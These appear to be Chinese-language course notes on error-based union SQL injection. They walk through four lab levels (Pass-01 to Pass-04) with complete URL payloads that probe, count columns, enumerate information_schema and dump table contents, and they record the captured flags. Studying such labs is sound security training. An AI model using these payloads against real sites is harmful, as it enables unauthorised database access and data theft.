显错注入

sql注入

  1. sql 注入本质 就是把用户输入的数据当代码执行

第一个用户能够控制输入

2.原本程序要执行的代码,拼接了用户的输入的数据然后进行执行

 

3.寻找漏洞 -> 利用这个漏洞

59.63.200.79:8003/?id=1

?id=1 =>GET传参

id=1

 

根据传参值的变化页面在不断的改变

1.PHP代码里面写了if等分支语句

2.这个地方从数据库里面提取信息然后展露

3.从数据库中取

查询语句:

select*from 表名 where 条件

 

SQL注入:用户输入的数据会被当做代码执行

(and 和)

 

探测手法:

时过境迁,测试手段就用这个 (2011年)

 

假设:

select*from news where id=1 and(or) 1=1/2

 

渗透测试,核心在于试,可以执行的效果就是好样的

 

sql注入能干什么?

1.获取管理员账号密码、获取数据库里面的信息

获取管理员的密码

select * from news where id=1 union select*from admin

 

联合查询 union (将2个查询语句结果整合到同一个表输出)

需要2条查询语句的结果字段数相同

我们不知道原本的表的结果有几个字段

order by 1

order by 2

order by100

猫舍里有2个字段

union select 1,2

数据库输出字段时有选择的

有些字段可能输出

有些字段可能没有输出

 

order by 1 10 20 30 40 42 .......猜出 输出点

select 1,2 输出

Pass-01

探测页面有无存在异常

and 1= 1 页面没变化

and 1=2 页面异常报错

http://xxxxxxxxxxx/Pass-01/index.php?id=1%20and%201=2


 

确认存在sql注入

使用order by 探测存在几个字段

探测 order by (=)4不正常 ,判断存在3个字段

http://xxxxxxxxxxxxx/Pass-01/index.php?id=1%20order%20by%203

 

使用联合查询语句

union select 1,2,3

 

Mysql数据库的结构

字段

数据

select a from admin where id=1

查询admin表里面的id=1的数据且只能输出 a字段的结果

使用database()函数来查询库名

union select 1,database(),3

库名 error

 

查询表名

表名:

mysql 5.0以上的版本,有一个系统自带库存放着库和表字段的对应关系

information_schema 系统自带的库

information_schema.tablse 存放表名和库名的对应 意思时选中information_schema库中的tables表

information_schema.columns 存放字段名和表名的对应

联合查询要使其前面的出错

?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema="error" limit 0,1


表名 user

 

查询  表里得字段
使用库.表  =  选中库里面的表
union select 1,column_name,3 from information_schema.columns where table_schema="error" and table_name="error_flag" limit 0,1
http://xxxxxxxxxxx/Pass-01/index.php?id=1%20and%201=2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=%22error%22%20and%20table_name=%22error_flag%22


group_concat()

group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator ‘分隔符’] )

 

查询字段里面的数据

id=1 union select 1,flag,3 from error_flag limit 1,1
http://xxxxxxxxxxxxx/Pass-01/index.php?id=1%20union%20select%201,group_concat(flag),3%20from%20error_flag


sql注入显错注入-GET_数据

flag:zKaQ-NF

Pass-02

判断 有无sql注入

bypass 需要加 ' 后面 要加 --+ 123 注释掉后面的

源码

@$sql = 'select *from user where id='\''.$id.'\'';

带入代码

@$sql = 'select *from user where id='\' ''.$id.--+ qwe'\'';

 

?id=1' and 1=1 --+ qwe

正常

?id=1' and 1=2 --+ qwe

报错

 

?id = 1' order by 3 --+ qwe 查看有几个字段

经过测试有3个字段注入点

 

显示注入点

​http://xxxxxxxxxxxxxxxxxxx/index.php?id=1​​' union select 1,2,3 --+qwe

 

查看库名

​http://xxxxxxxxxxxxxxxxx/index.php?id=1​​' union select 1,database(),3 --+qwe

 

查表名

?id=1'  and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="error"  --+qwe

 

查字段名

​http://xxxxxxxxxxxxx?id=1​​' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="error" and table_name="error_flag" --+qwe

 

查看字段flag内容

?id=1' union select 1,group_concat(flag),3 from error_flag


sql注入显错注入-GET_sql注入_02

flag

zKaQ-BJY

Pass-03

@$sql = 'select *from user where id=(\''.$id.'\')';

查看源码 和上一个对比 添加了(' ') ' .$id. ' 是接受传入参数类行是char的

闭合方式前面 后面闭合直接 --+ qwe

?id=1') order by 3 --+qwe

测试方式同上

 

查库名

?id=1') and 1=2 union select 1,database(),3 --+qwe

查表名

?id=1') and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="error"--+qwe

 

查字段 column

?id=1') and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="error" and table_name="error_flag" --+qwe

 

 

查看字段内数据

?id=1') union select 1,group_concat(flag),3 from error_flag --+qwe

 

Pass-04

 

@$sql = 'select *from user where id=("'.$id.'")';

查看源码 和上一个对比 添加了('' '') ' .$id. ' 是接受传入参数类行是char的

闭合方式前面 后面闭合直接 --+ qwe

?id=1") order by 3 --+qwe

测试方式同上

 

查库名

?id=1") and 1=2 union select 1,database(),3 --+qwe

查表名

?id=1") and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="error"--+qwe

 

查字段 column

?id=1") and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="error" and table_name="error_flag" --+qwe

 

 

查看字段内数据

?id=1') union select 1,group_concat(flag),3 from error_flag --+qwe